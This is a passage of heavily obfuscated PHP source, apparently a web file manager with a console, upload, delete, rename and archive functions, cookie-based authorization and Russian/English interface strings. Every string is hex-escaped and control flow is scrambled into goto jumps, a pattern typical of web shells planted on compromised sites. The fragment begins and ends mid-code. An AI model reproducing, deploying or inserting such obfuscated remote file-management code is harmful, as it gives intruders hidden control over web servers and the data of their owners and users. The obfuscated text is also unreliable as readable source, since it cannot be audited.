sdg0g: goto wh_9l; goto aCssL; ZbEo5: curl_setopt($N2qJa, CURLOPT_FOLLOWLOCATION, 1); goto ho87g; RaiN_: if (!(!empty($_REQUEST["\155\153\x64\151\x72"]) && !empty($C0tA4["\x6d\141\x6b\x65\137\144\x69\162\x65\x63\164\x6f\x72\x79"]))) { goto qqtAz; } goto c3AFN; rU6Ub: v7Ezf: goto iNAml; tWPYz: goto aPxDT; goto GedPX; pCe5A: Mvayt: goto gTSPV; UwNWV: goto W1N3Z; goto cnQg7; T9hiM: echo "\74\57\141\76\xd\xa\15\12\11\74\57\164\x64\x3e\15\xa\x3c\x2f\x74\162\x3e\xd\12\xd\12\74\164\162\x3e\15\xa\xd\xa\x20\40\x20\40\74\x74\x64\x20\x63\x6c\141\163\163\75\42\162\x6f\167\61\x22\x20\141\x6c\151\147\x6e\75\42\143\x65\156\164\x65\x72\x22\76\xd\xa\15\xa\x20\40\40\x20\40\40\40\x20\74\146\157\x72\155\x20\x6e\141\x6d\x65\x3d\42\146\157\x72\x6d\x31\42\x20\x6d\145\x74\x68\x6f\144\75\x22\160\x6f\163\x74\42\x20\141\x63\164\x69\x6f\x6e\x3d\42"; goto zIYZr; aJsO8: NgWRP: goto BdCXM; KgJ8s: goto XFSIi; goto hX0ul; PZuGZ: zo65i: goto K2fV9; cyBrB: goto T6uTi; goto U0GMh; O3yy_: goto iDIop; goto yuwXf; oaZ6q: R9y5b: goto TWFhF; XhjwN: UUwT8: goto YV2hz; XUuf8: function euumG() { return FbJqk() . $_SERVER["\110\124\x54\120\137\110\117\x53\124"]; } goto OewwD; GNuhh: goto mX323; goto WTUPP; AijeQ: wntpQ: goto UKkKE; SFUoS: if (isset($_POST["\146\155\x5f\154\141\156\x67"])) { goto omYt2; } goto oqhAp; doQCG: goto JVErT; goto u1Pp3; RSVo6: Q2Hr0: goto l12s9; FRyP3: setcookie("\146\x6d\137\154\x61\156\147", $_POST["\x66\x6d\x5f\x6c\141\x6e\147"], time() + 86400 * $fahGj["\144\x61\171\x73\137\x61\165\x74\x68\x6f\162\151\172\141\x74\151\x6f\x6e"]); goto Khhom; i53yS: goto R9y5b; goto OPfz7; Gj8r4: oP6LS: goto eR786; vyDOs: goto AYwEz; goto cgAlV; xN69T: ZWfIX: goto ZlgST; bcjJ6: goto yL7oa; goto f3Y5W; SHZld: $O10i3 = JnGiJ("\123\145\164\164\151\x6e\x67\x73") . "\40" . jNgiJ("\144\157\x6e\145"); goto Sx0wp; aziJU: echo jNgIJ("\102\141\143\x6b"); goto lGQYi; XOjW3: goto tV2Oi; goto Oi3TZ; w1pes: goto lPN8h; goto ZaAlo; ezzuV: xVooX: goto Ddp6d; aSQZi: goto YkDES; goto itfob; cinCg: goto fLI1c; goto Waimy; p6j1O: $RdE76 = "\173\x22\x69\144\42\72\42\162\165\x22\54\x22\101\144\144\x22\72\x22\320\x94\320\276\320\xb1\320\260\xd0\262\xd0\xb8\xd1\202\xd1\214\x22\54\x22\101\162\x65\x20\x79\x6f\165\40\x73\x75\x72\x65\40\x79\157\165\40\x77\x61\156\164\40\x74\157\x20\144\145\154\145\x74\145\40\x74\150\151\163\40\x64\151\x72\145\x63\x74\157\x72\171\x20\x28\x72\145\x63\x75\162\x73\151\166\145\x6c\x79\x29\x3f\42\72\x22\320\x92\321\213\x20\xd1\203\320\262\320\xb5\321\x80\320\265\xd0\xbd\xd1\x8b\x2c\x20\xd1\207\321\x82\xd0\276\x20\xd1\205\xd0\276\321\x82\320\xb8\xd1\202\xd0\265\40\xd1\203\320\264\320\xb0\xd0\273\320\270\xd1\202\321\x8c\x20\321\x8d\xd1\202\xd1\203\x20\320\xbf\xd0\xb0\320\277\320\xba\xd1\x83\x20\50\321\200\320\xb5\320\272\xd1\x83\321\x80\xd1\x81\xd0\270\xd0\262\xd0\xbd\xd0\xbe\51\x3f\42\x2c\42\x41\162\145\40\171\x6f\x75\40\x73\165\162\145\40\x79\157\165\40\x77\x61\x6e\x74\40\x74\x6f\x20\144\x65\154\145\164\145\x20\164\150\151\x73\40\146\151\154\x65\77\x22\72\x22\xd0\222\321\213\40\xd1\x83\xd0\xb2\xd0\265\321\x80\xd0\xb5\xd0\275\321\213\x2c\40\xd1\207\321\202\320\xbe\x20\xd1\205\320\276\xd1\x82\320\xb8\xd1\202\xd0\265\x20\xd1\203\320\xb4\320\260\320\273\320\xb8\xd1\202\321\214\x20\321\215\xd1\x82\xd0\276\xd1\x82\40\xd1\x84\xd0\xb0\320\xb9\xd0\273\77\x22\x2c\42\101\x72\x63\x68\x69\166\151\156\147\x22\x3a\x22\320\220\321\200\321\x85\xd0\270\xd0\262\320\270\xd1\200\xd0\276\320\xb2\320\xb0\xd1\x82\xd1\214\x22\54\42\x41\165\x74\150\x6f\162\x69\x7a\141\164\x69\157\156\x22\x3a\x22\320\220\xd0\xb2\321\x82\xd0\xbe\321\200\320\xb8\xd0\xb7\320\260\321\206\320\270\321\217\x22\x2c\42\x42\x61\143\153\x22\x3a\42\xd0\x9d\320\xb0\320\267\320\260\320\xb4\x22\54\x22\103\x61\x6e\143\x65\154\42\x3a\42\xd0\236\321\x82\xd0\xbc\xd0\265\xd0\xbd\320\xb0\42\54\42\103\x68\x69\156\x65\x73\x65\42\72\42\xd0\232\xd0\270\321\x82\xd0\260\320\xb9\321\201\320\272\xd0\xb8\320\xb9\x22\x2c\x22\103\x6f\x6d\160\162\145\163\x73\42\72\42\xd0\xa1\xd0\xb6\320\260\321\x82\xd1\x8c\x22\54\x22\x43\157\x6e\163\x6f\x6c\145\x22\72\x22\320\232\320\276\xd0\xbd\321\201\xd0\276\320\xbb\xd1\214\x22\x2c\42\103\157\x6f\x6b\151\145\42\x3a\42\xd0\x9a\321\x83\xd0\272\320\270\42\54\42\103\162\x65\141\164\145\144\42\72\42\xd0\241\xd0\276\320\267\xd0\xb4\320\260\320\275\x22\x2c\x22\x44\x61\x74\145\42\72\42\xd0\x94\320\260\321\202\xd0\xb0\x22\x2c\42\x44\x61\x79\163\42\72\x22\320\224\320\xbd\320\265\320\271\x22\x2c\42\104\145\143\x6f\x6d\160\162\145\x73\x73\x22\72\x22\xd0\xa0\320\260\xd1\201\xd0\xbf\320\xb0\xd0\272\xd0\xbe\320\xb2\xd0\260\321\x82\321\214\42\54\42\104\x65\x6c\x65\164\x65\x22\72\42\xd0\243\xd0\264\320\260\xd0\xbb\320\270\xd1\x82\321\214\x22\x2c\x22\x44\x65\154\145\x74\x65\x64\x22\72\42\xd0\xa3\320\264\320\xb0\320\273\xd0\265\320\xbd\320\276\42\x2c\x22\x44\157\x77\x6e\x6c\x6f\141\x64\42\72\42\320\xa1\xd0\272\xd0\xb0\321\x87\xd0\260\xd1\x82\321\x8c\x22\x2c\x22\x64\157\156\145\42\x3a\42\320\267\320\260\xd0\xba\320\xbe\320\xbd\321\x87\320\265\320\xbd\320\xb0\42\54\x22\x45\x64\x69\x74\42\x3a\42\xd0\240\320\265\xd0\264\xd0\260\320\272\xd1\x82\xd0\xb8\321\x80\xd0\276\320\262\xd0\260\xd1\x82\321\214\x22\x2c\42\x45\x6e\x74\145\162\x22\72\42\320\222\xd1\205\320\xbe\320\264\42\54\42\105\156\147\x6c\151\x73\x68\x22\72\42\320\220\xd0\xbd\320\263\320\xbb\320\270\xd0\xb9\xd1\x81\xd0\272\xd0\xb8\xd0\271\x22\54\x22\x45\162\x72\157\162\40\157\x63\143\165\x72\x72\145\144\x22\x3a\42\320\x9f\xd1\x80\xd0\276\320\270\xd0\267\xd0\276\xd1\x88\320\xbb\xd0\260\x20\xd0\xbe\xd1\x88\xd0\270\xd0\xb1\320\272\xd0\260\x22\54\42\106\151\154\x65\40\x6d\141\156\141\147\145\162\42\x3a\x22\320\xa4\xd0\xb0\xd0\271\xd0\273\xd0\276\xd0\262\xd1\x8b\xd0\271\40\320\274\320\xb5\320\xbd\xd0\xb5\320\264\xd0\266\320\xb5\xd1\200\42\54\42\106\151\x6c\x65\x20\163\145\x6c\145\143\x74\145\144\x22\72\x22\xd0\222\xd1\213\xd0\xb1\xd1\x80\xd0\260\xd0\275\40\321\204\xd0\xb0\xd0\xb9\320\273\x22\54\x22\x46\151\154\145\x20\x75\x70\x64\141\x74\x65\144\42\72\x22\xd0\244\320\xb0\xd0\271\320\xbb\40\xd1\201\320\276\321\205\321\200\320\xb0\xd0\xbd\320\xb5\xd0\275\42\54\x22\106\x69\x6c\145\156\141\155\145\42\x3a\x22\320\x98\xd0\xbc\xd1\217\x20\321\x84\320\260\320\271\320\xbb\xd0\260\x22\x2c\x22\x46\x69\154\145\163\40\165\x70\x6c\157\141\144\x65\x64\x22\72\x22\xd0\244\320\xb0\xd0\271\xd0\xbb\40\xd0\267\320\260\xd0\263\xd1\200\xd1\x83\xd0\xb6\320\265\xd0\275\42\x2c\42\x46\162\x65\x6e\143\150\42\72\42\320\xa4\xd1\200\320\260\xd0\275\321\x86\321\203\320\xb7\xd1\201\320\xba\320\270\320\271\x22\54\42\x47\x65\156\x65\162\x61\x74\151\x6f\156\x20\164\x69\155\x65\42\x3a\x22\xd0\223\320\xb5\320\275\320\xb5\xd1\x80\320\260\xd1\206\320\xb8\321\217\x20\xd1\201\321\202\321\x80\xd0\xb0\xd0\xbd\320\270\xd1\206\xd1\x8b\x22\54\x22\107\145\x72\x6d\x61\156\x22\x3a\x22\320\235\xd0\xb5\xd0\xbc\320\265\321\206\320\272\xd0\270\320\xb9\42\x2c\42\110\157\x6d\x65\42\72\42\320\224\320\276\320\274\xd0\xbe\320\xb9\42\54\42\121\165\x69\x74\x22\x3a\x22\xd0\x92\321\213\xd1\x85\320\276\xd0\264\x22\x2c\42\114\141\x6e\x67\165\x61\147\145\42\x3a\x22\320\257\xd0\xb7\321\213\xd0\272\x22\x2c\x22\x4c\157\147\151\156\42\72\42\xd0\x9b\xd0\276\320\xb3\xd0\xb8\320\xbd\42\x2c\x22\x4d\x61\156\141\x67\145\42\72\42\320\xa3\xd0\xbf\xd1\x80\xd0\260\320\xb2\320\xbb\xd0\xb5\320\275\320\270\xd0\265\x22\54\42\x4d\141\153\x65\x20\144\x69\x72\x65\143\164\x6f\x72\171\42\x3a\42\320\xa1\xd0\276\320\xb7\xd0\264\320\260\321\x82\xd1\214\x20\xd0\277\xd0\xb0\xd0\xbf\320\272\321\203\x22\54\42\x4e\141\155\x65\42\x3a\x22\xd0\x9d\xd0\260\xd0\xb8\320\xbc\xd0\265\xd0\xbd\320\xbe\xd0\xb2\xd0\260\xd0\275\xd0\xb8\xd0\265\42\x2c\42\x4e\x65\x77\42\72\x22\320\235\xd0\xbe\xd0\xb2\320\276\xd0\265\42\54\42\x4e\x65\167\x20\146\x69\x6c\x65\x22\x3a\x22\320\235\320\276\xd0\262\321\x8b\320\271\40\321\204\320\xb0\320\271\xd0\xbb\x22\x2c\42\156\157\40\146\x69\154\x65\x73\42\72\42\xd0\xbd\xd0\xb5\xd1\202\40\321\204\xd0\xb0\xd0\271\320\273\xd0\276\xd0\xb2\x22\54\42\x50\x61\163\x73\x77\157\x72\144\42\72\42\320\x9f\xd0\xb0\xd1\200\320\xbe\xd0\xbb\xd1\214\x22\54\x22\160\151\143\164\165\162\145\163\x22\x3a\x22\320\xb8\xd0\xb7\xd0\276\320\xb1\321\200\xd0\260\xd0\xb6\xd0\265\xd0\xbd\320\270\321\217\42\54\42\x52\145\x63\x75\x72\x73\x69\x76\x65\x6c\x79\42\x3a\42\320\240\320\265\320\272\321\203\321\200\321\201\320\270\320\262\320\xbd\320\276\x22\54\42\122\x65\x6e\141\x6d\x65\42\x3a\42\320\x9f\xd0\265\321\200\xd0\xb5\xd0\xb8\320\274\xd0\265\xd0\275\xd0\xbe\320\262\320\260\xd1\202\xd1\x8c\x22\x2c\42\122\x65\163\145\164\42\x3a\42\xd0\xa1\xd0\xb1\321\200\xd0\276\xd1\x81\xd0\xb8\321\x82\321\x8c\x22\54\42\x52\145\163\145\x74\40\163\x65\164\x74\151\x6e\147\x73\x22\x3a\x22\xd0\xa1\xd0\261\321\x80\xd0\xbe\321\201\xd0\xb8\xd1\202\xd1\214\40\xd0\275\320\xb0\xd1\201\321\x82\xd1\200\320\xbe\320\271\320\272\320\xb8\42\54\42\122\x65\x73\164\157\162\145\40\x66\x69\154\145\x20\164\151\155\x65\40\141\146\164\x65\x72\x20\145\x64\x69\x74\151\x6e\147\42\72\x22\320\x92\320\276\xd1\x81\321\x81\xd1\202\320\260\320\275\320\260\320\262\320\273\xd0\270\320\262\xd0\xb0\xd1\x82\321\x8c\40\xd0\262\xd1\x80\320\265\xd0\274\321\x8f\40\xd1\x84\320\260\320\271\xd0\273\xd0\260\x20\320\xbf\320\276\321\x81\xd0\xbb\xd0\265\x20\321\x80\320\265\xd0\264\xd0\xb0\320\xba\xd1\202\320\xb8\321\200\320\xbe\xd0\262\xd0\xb0\320\xbd\320\270\321\x8f\42\x2c\42\x52\145\x73\165\x6c\x74\42\x3a\x22\320\240\320\xb5\xd0\xb7\xd1\x83\xd0\xbb\321\214\321\x82\xd0\260\321\202\x22\54\42\x52\151\147\150\164\x73\x22\x3a\x22\320\237\xd1\200\xd0\xb0\xd0\262\xd0\xb0\x22\54\x22\122\165\x73\163\151\x61\156\42\x3a\42\xd0\xa0\xd1\203\321\x81\xd1\x81\xd0\xba\xd0\xb8\xd0\271\42\54\x22\123\141\x76\x65\x22\x3a\x22\xd0\241\xd0\276\xd1\205\321\x80\xd0\xb0\xd0\xbd\320\xb8\321\x82\321\x8c\42\x2c\42\x53\145\x6c\x65\x63\x74\x22\72\42\xd0\222\321\213\xd0\261\320\xb5\321\200\xd0\270\xd1\202\xd0\265\42\x2c\x22\123\145\154\x65\143\164\40\x74\x68\x65\x20\x66\151\154\145\42\72\x22\320\x92\xd1\x8b\xd0\xb1\320\265\xd1\x80\320\270\321\202\320\265\x20\xd1\204\xd0\xb0\320\xb9\xd0\273\x22\x2c\42\x53\145\x74\164\151\x6e\147\163\x22\x3a\42\xd0\235\xd0\260\xd1\201\xd1\x82\xd1\200\320\276\320\xb9\xd0\272\320\xb0\x22\x2c\x22\x53\x68\157\167\42\x3a\x22\320\x9f\xd0\276\320\272\xd0\260\xd0\267\xd0\260\321\x82\xd1\214\x22\54\x22\x53\150\x6f\167\x20\x73\151\172\145\40\157\146\40\x74\x68\x65\x20\146\x6f\154\144\x65\x72\42\72\42\320\x9f\320\xbe\320\272\320\260\320\267\xd1\x8b\320\262\xd0\xb0\xd1\x82\321\x8c\40\321\x80\320\xb0\xd0\xb7\xd0\xbc\xd0\265\321\200\x20\320\277\320\260\xd0\277\320\xba\320\270\42\x2c\x22\123\151\x7a\145\x22\x3a\42\xd0\xa0\xd0\260\xd0\267\320\274\320\265\xd1\200\x22\x2c\x22\x53\160\x61\156\151\x73\x68\x22\x3a\42\xd0\x98\xd1\x81\xd0\xbf\320\260\xd0\275\321\201\xd0\272\320\270\xd0\271\x22\x2c\x22\x53\x75\142\155\151\x74\x22\72\x22\320\x9e\321\202\320\277\xd1\x80\xd0\xb0\xd0\262\xd0\xb8\321\x82\321\x8c\x22\x2c\42\124\x61\163\x6b\42\x3a\42\320\x97\320\260\320\xb4\320\260\xd1\207\320\xb0\x22\54\x22\x74\145\155\x70\154\x61\164\x65\163\x22\x3a\x22\321\x88\320\260\xd0\261\320\273\xd0\276\320\275\321\213\42\x2c\x22\x55\x6b\x72\141\x69\x6e\x69\x61\156\42\72\x22\320\xa3\320\xba\321\x80\320\260\xd0\270\xd0\xbd\xd1\201\320\xba\xd0\270\320\271\x22\54\42\x55\x70\154\x6f\x61\144\42\72\42\xd0\x97\320\xb0\320\263\321\x80\xd1\x83\320\xb7\xd0\xb8\321\202\321\x8c\x22\54\42\126\x61\154\165\145\42\72\x22\xd0\x97\320\275\320\xb0\xd1\x87\320\xb5\320\xbd\320\xb8\xd0\xb5\42\54\x22\x48\x65\x6c\x6c\x6f\x22\72\x22\320\x9f\xd1\200\xd0\270\xd0\xb2\320\xb5\321\x82\x22\x2c\42\x46\157\x75\x6e\144\x20\x69\x6e\40\x66\x69\x6c\x65\163\42\x3a\42\320\235\xd0\xb0\xd0\271\xd0\264\xd0\265\xd0\275\320\276\x20\320\xb2\40\321\x84\320\260\320\271\xd0\xbb\xd0\260\321\x85\42\x2c\x22\123\145\x61\x72\x63\150\x22\x3a\42\xd0\237\320\xbe\320\270\321\201\320\272\42\x2c\x22\x52\145\x63\x75\x72\x73\x69\166\145\x20\x73\x65\x61\x72\143\x68\x22\x3a\42\320\xa0\320\265\xd0\xba\xd1\203\321\200\xd1\x81\xd0\270\320\xb2\xd0\275\321\x8b\xd0\271\x20\xd0\xbf\320\276\xd0\xb8\xd1\x81\xd0\272\42\54\42\115\x61\x73\x6b\x22\72\x22\xd0\234\xd0\xb0\xd1\201\320\xba\xd0\260\42\x7d"; goto CIlyO; fh25v: goto sTtqL; goto q3JhX; Ya82y: nsnLx: goto I2qZb; drojR: goto BjY1p; goto yHPIQ; rK12L: goto C7ByM; goto bYJfv; Ocuph: goto uOFHW; goto WNFmv; CrDSp: if ($J8r10 && !empty($_SERVER["\x48\124\124\x50\x5f\x41\x43\x43\105\x50\x54\137\x4c\x41\x4e\x47\125\x41\x47\105"]) && empty($_COOKIE["\146\x6d\137\154\x61\x6e\x67"])) { goto yygj5; } goto x0V84; dBSur: goto CpGSw; goto sk9qZ; wEKmz: $W5Q_F = new PharData($e2Q0i); goto b_bdm; u3aTZ: goto HYcTj; goto xHXdN; pYARI: Hc1mR: goto U4ZYj; eIvpq: n1Tbh: goto e1uuR; tmogU: kRVEg: goto jypa7; HwstM: goto Xl4su; goto knbA4; r1ugC: goto uDCWQ; goto w6TyS; Py0mQ: vN4UT: goto WFrld; pwgLX: jxZlr: goto vTZ4H; xcVrY: goto GwbDc; goto oPTkP; tBnJl: if (isset($uRU9l[1])) { goto w1jK6; } goto i1_54; vVMhB: goto pH85W; goto B3r1q; MUEPi: yer94: goto o16j1; ce3sH: goto RThCo; goto czpUx; kl2ym: goto TDiRT; goto Vo51n; a_K1A: RiQVO: goto klx1A; Xvs7W: BPgOj: goto Vnwz1; Yos3k: echo "\11\x9\40\x20\x20\x20\x20\x20\x20\40\40\11\74\x66\157\162\155\x20\141\x63\x74\151\x6f\x6e\x3d\x22\x22\40\155\145\x74\150\x6f\144\x3d\x22\160\x6f\163\x74\42\76\x26\x6e\x62\x73\x70\x3b\46\x6e\x62\163\x70\73\46\x6e\x62\163\x70\73\xd\xa\xd\12\11\11\x20\40\40\x20\x20\x20\x20\x20\40\x9\x3c\151\156\160\x75\164\40\x6e\x61\155\x65\x3d\x22\x71\x75\x69\x74\x22\40\x74\171\x70\145\x3d\42\150\x69\144\x64\x65\156\x22\x20\x76\x61\154\x75\x65\75\x22\61\x22\76\xd\xa\15\xa\xd\xa\xd\xa\xd\xa\11\x9\x20\40\x20\40\40\x20\40\40\x20\11"; goto UlF7t; f2Kpo: goto Fto4l; goto DdTHn; CxoIF: goto B7SsC; goto NxGDu; ypllJ: lqwYY: goto Wtm_t; FEJ_Z: goto WpdSy; goto zHsCx; kjkja: qizT_: goto iyAYp; vXmV0: N8FlA: goto oMbDC; zAknb: goto RZaEH; goto o3cHU; RK6NQ: $jTEOW = base64_decode($_GET["\x69\155\147"]); goto gHZz9; mtpHd: echo "\x20\x20\x20\40\x20\40\40\40\40\x20\40\x20\x20\x20\40\40\40\40\x20\x20\40\x20\x20\x20\x20\x20\x20\x20\40\40\x20\40\x20\x20\xd\xa\11\11\x20\40\40\x20\40\x20\x20\x20\x20\x9\x9\x20\40\40\40\x20\40\x20\40\40\74\x66\x6f\x72\155\40\x6d\x65\164\x68\157\x64\75\42\160\157\x73\x74\42\x20\141\143\x74\x69\x6f\156\x3d\42"; goto KgJ8s; c6plS: goto bwWQR; goto UHKTZ; kSJfI: goto x5R3j; goto I3IvO; aGg3m: goto xMkEK; goto nfqTJ; yZoNv: jLZXN: goto uk91H; tvF3w: ZHSHO: goto qMJgF; Nkav4: goto Oezlq; goto sGwdm; NFPqR: goto sEbea; goto spsc4; nL72S: echo !empty($VLMCB) ? "\x20\55\x20" . $VLMCB : ''; goto y2P1e; lRR6W: UMwdp: goto XuszE; SOtXZ: Cvc1o: goto ShASx; ryEqj: goto xlCNE; goto QlWQ7; dN1PZ: SdC62: goto pJ6LA; loHuC: goto taOz9; goto zVGQn; QrXyV: goto TaK95; goto ClG1g; UaiqP: Ni0gX: goto SKA6R; T3wVq: goto DBPuf; goto hi1JZ; PU0Tk: goto pShAm; goto TJx0Y; klx1A: BOEa4: goto zOun2; reZxT: goto wzfxQ; goto iTQ59; XflD1: HZNcG: goto l0Jh6; brWXD: DbCmm: goto eEboQ; KNhFe: ATyGE: goto Ox1qf; pf6Mc: KCSI8: goto kFMwn; gmErT: grmJF: goto L742U; gOJUM: echo "\74\57\164\x68\x3e\15\xa\15\12\74\x2f\164\162\76\15\12\x20\x20\40\40\x20\40\x20\x20\x20\x20\40\40\x20\x20\40\40\x20\40\40\40\40\40\x20\40\x20\x20\40\40\x20\40\40\x20\40\x20\xd\xa\x3c\164\162\x3e\xd\xa\15\xa\40\x20\40\x20\74\164\x64\40\x63\154\141\x73\163\75\x22\162\157\167\62\x22\76\x3c\x74\141\142\x6c\x65\x3e\74\164\x72\76\74\x74\144\x3e\x3c\150\x32\x3e"; goto nJmVu; F_5bC: if (!empty($_REQUEST["\x73\x61\x76\145"])) { goto cSMsp; } goto nqW3T; rMTKQ: goto jPI4Z; goto yBF7P; GEyOi: jPI4Z: goto roBG_; s5cXo: foreach ($PcRaw as $jTEOW) { goto iJL1E; kTDhi: kG3_5: goto G2In5; JtvSW: goto Undfo; goto bh5kX; bg6Wy: $ugouD = yfACf($jTEOW) ? '' : "\x3c\x61\40\x68\162\145\146\x3d\42\43\42\x20\164\151\164\154\145\x3d\42" . jnGIj("\x44\145\x6c\x65\164\145") . "\x20" . $jTEOW . "\42\40" . $JDGT6 . "\x3e" . jNgIJ("\104\145\x6c\145\x74\x65") . "\x3c\x2f\141\x3e"; goto hXLaP; zWQRG: TEQi7: goto odYw0; JUYbu: oJ3D3: goto wcxfI; CRyOA: $tHs02 = "\162\157\x77\x32"; goto NsIqk; Yaiie: Q0nIP: goto Tt5aI; iJL1E: goto kO1uf; goto my3n3; yhSri: goto OiaM2; goto ft0wA; lcdSN: tWtwf: goto yJsfr; FRo8I: goto Oo2s5; goto Uq1Az; R2G2a: goto wvBs0; goto jJsBk; mQXCb: echo "\x3c\x2f\164\x64\x3e\xd\xa\74\57\x74\162\76\xd\xa"; goto tsxEL; c9_cK: goto oJ3D3; goto vfWml; Uq1Az: gLKKd: goto aI1I3; pMOjD: hwUmT: goto bg6Wy; jLjuF: goto tkdyX; goto MIDkl; Tu4su: Cz5uG: goto D_qVm; ejGKF: goto A2Whb; goto u7eYj; FR_qC: $sSFKS = end($G9Dwo); goto MO8my; MoJdH: goto U3Mkn; goto xOy8C; ubkYH: goto zZNSf; goto IMuYy; jJsBk: kO1uf: goto rSfJk; y6Qr_: m7hPE: goto OaJhL; dKh9V: goto v43hA; goto Yaiie; YDtAv: $tHs02 = "\162\157\167\x31"; goto oLH7B; jAr5t: XhzG6: goto elgJC; Uq39l: echo "\xd\12\74\164\x72\40\x63\x6c\x61\163\163\75\x22"; goto h7R9O; YEAr6: echo "\74\57\x74\144\76\xd\xa\40\40\x20\40\x3c\x74\x64\x3e"; goto R2G2a; s40Hu: $yfYQh = @stat($g6Xdn); goto MALfo; JkY0K: $JDGT6 = "\x6f\x6e\x43\x6c\151\143\153\75\x22\151\x66\x28\143\x6f\x6e\x66\x69\162\155\50\47" . JngIj("\x46\151\x6c\145\x20\x73\145\x6c\145\143\x74\x65\144") . "\72\40\x5c\x6e" . $jTEOW . "\x2e\x20\134\x6e" . JNGIj("\x41\162\x65\40\x79\x6f\165\40\x73\165\162\145\x20\171\157\x75\x20\167\x61\156\x74\x20\164\x6f\x20\x64\145\x6c\x65\164\x65\40\x74\x68\x69\163\40\146\151\154\x65\x3f") . "\47\51\x29\40\144\x6f\143\165\x6d\145\156\x74\x2e\154\x6f\x63\x61\164\x69\x6f\156\56\150\x72\145\146\40\x3d\40\47" . $Ga3rH . "\46\144\x65\x6c\145\x74\145\75" . $jTEOW . "\x26\x70\141\x74\x68\75" . $VLMCB . "\47\42"; goto NBACn; F5bPD: goto KXPaI; goto nHxVp; aI1I3: echo $mbeto; goto yhSri; hlSe4: echo $yfYQh[7]; goto a80Fd; ji1Qc: zZNSf: goto HImgs; BcFkc: goto qjqT3; goto Owl1o; MIDkl: ryW_m: goto hlSe4; cv3QF: fgZ5Q: goto NEa3Y; oVIsX: goto FQFbu; goto lcdSN; nHxVp: rZ0oc: goto KiQA8; hL3kP: Undfo: goto FR_qC; ft0wA: bcB28: goto RK8fp; NBVVi: tQzxl: goto nOtGO; Rndpw: goto W42zO; goto kTDhi; mtqFz: $R1Ro_ = wj_30("\x64\157\167\156\154\x6f\141\144", $g6Xdn, JNGIj("\x44\157\167\x6e\x6c\157\141\144"), JNgIJ("\x44\157\167\156\154\157\x61\x64") . "\x20" . $jTEOW); goto kC0kL; oHX5z: Oo2s5: goto lv_o4; ptmlV: A2Whb: goto CPPXc; Ya21g: goto AdhQR; goto DJfXW; hXLaP: goto fgZ5Q; goto JW8ud; NQryD: goto JG1OG; goto FwMvN; Sq6do: KCERJ: goto CRyOA; NBACn: goto tQzxl; goto TH83c; s6lHR: RkP3E: goto NQryD; nSYX9: goto XhzG6; goto JUYbu; lv_o4: echo "\74\x2f\x74\144\76\15\xa\xd\12\x20\x20\40\40\74\164\x64\76"; goto VqKkQ; vfWml: U3Mkn: goto mQXCb; wRA_4: goto zu_AV; goto NdIPt; A1kU3: $JDGT6 = "\x6f\x6e\103\154\x69\143\x6b\75\42\151\x66\x28\143\x6f\x6e\x66\x69\x72\155\x28\x27" . JngIJ("\x41\x72\145\x20\x79\x6f\x75\40\163\165\x72\x65\40\171\x6f\x75\40\x77\141\156\x74\40\164\x6f\40\x64\145\154\145\164\x65\40\164\150\x69\x73\x20\x64\x69\x72\x65\x63\164\x6f\x72\x79\40\50\162\145\x63\x75\162\x73\x69\166\145\x6c\x79\51\77") . "\134\x6e\x20\57" . $jTEOW . "\x27\51\51\x20\x64\x6f\143\x75\x6d\x65\156\x74\x2e\154\157\143\141\x74\151\157\x6e\56\x68\162\x65\146\40\x3d\40\x27" . $Ga3rH . "\46\x64\x65\154\x65\x74\x65\75" . $jTEOW . "\x26\160\x61\164\x68\75" . $VLMCB . "\x27\42"; goto y0PZR; jEELk: PkGht: goto hFUHQ; g281X: lFWCh: goto xqL4a; NPywL: goto qJOO_; goto MTIs1; NEa3Y: $CVm8X = yfacf($jTEOW) ? '' : "\x3c\x61\x20\x68\162\145\x66\75\42" . $Ga3rH . "\x26\162\x65\x6e\141\x6d\x65\75" . $jTEOW . "\x26\160\x61\x74\x68\x3d" . $VLMCB . "\42\x20\x74\151\x74\x6c\x65\75\42" . jNgij("\122\x65\x6e\x61\x6d\145") . "\x20" . $jTEOW . "\42\x3e" . Jngij("\122\145\156\141\x6d\x65") . "\74\x2f\141\x3e"; goto Ya21g; MTIs1: Uc_7i: goto mTCsB; uFZBU: goto wyIrv; goto cNVIY; qE_Br: wyIrv: goto fxkgw; H9c43: echo $Z__bG; goto OHlQa; A9ZZR: goto NQwMR; goto y6Qr_; hDDW7: goto vXVGM; goto s6lHR; kC0kL: goto pxUEU; goto tF0Y8; cNVIY: PE3ko: goto YDtAv; FwMvN: AdhQR: goto QsqgZ; VqKkQ: goto bcB28; goto UMVSo; wwYrj: tkdyX: goto A1kU3; MO8my: goto eIsGL; goto JuWH4; JCI2L: vXVGM: goto jLjuF; vG_kD: goto gLKKd; goto BT5F7; DJfXW: NQwMR: goto OzY67; hy5W5: kGyNS: goto YEAr6; BDpqO: echo "\x3c\x2f\x74\x64\x3e\xd\12\40\40\40\40\40\40\40\x20\40\40\x20\x20\x20\40\x20\40\40\x20\x20\40\40\40\40\40\40\x20\x20\40\x20\40\40\40\x20\x20\40\x20\x20\x20\15\12\x20\x20\40\x20\74\164\x64\x3e"; goto zD_J0; MALfo: goto wLLq5; goto P4UwH; xOy8C: xrprG: goto JCI2L; Q_4UW: goto xrprG; goto Sq6do; tF0Y8: Qpc3v: goto hCcJP; uF8SF: goto KCERJ; goto jUMKD; vp4KV: wLLq5: goto csFw2; BCb2c: $BKCkJ = in_array($sSFKS, array("\172\x69\160", "\147\172", "\164\141\x72")) ? '' : (yfACF($jTEOW) || $I3Jc9 ? '' : WJ_30("\147\x7a\146\151\154\x65", $g6Xdn, jNGIj("\x43\x6f\155\x70\162\x65\163\x73") . "\46\x6e\x62\x73\160\x3b\x2e\164\141\162\56\x67\x7a", JnGIj("\x41\162\x63\x68\x69\166\x69\x6e\x67") . "\x20" . $jTEOW)); goto Wec5N; OHlQa: goto kGyNS; goto ptmlV; JuWH4: FQFbu: goto hNupP; wcxfI: echo gmdate("\x59\x2d\155\55\x64\x20\x48\72\x69\x3a\x73", $yfYQh[9]); goto A9ZZR; RK8fp: echo $CVm8X; goto tHndU; MShTc: echo "\x3c\57\x74\144\x3e\xd\12\40\40\40\40\74\164\144\76"; goto ubkYH; y0PZR: goto pTT5l; goto Tu4su; HImgs: echo $R1Ro_; goto r9hcF; tHndU: goto FcOSw; goto tfTBB; S8FE3: echo $BKCkJ; goto MoJdH; a80Fd: goto g02At; goto f1DPU; Wec5N: goto PE3ko; goto ji1Qc; UMVSo: qjqT3: goto Uq39l; elgJC: $G9Dwo = explode("\x2e", $jTEOW); goto JtvSW; LGIcN: goto lFWCh; goto vp4KV; su3aq: goto PkGht; goto pMOjD; Owl1o: 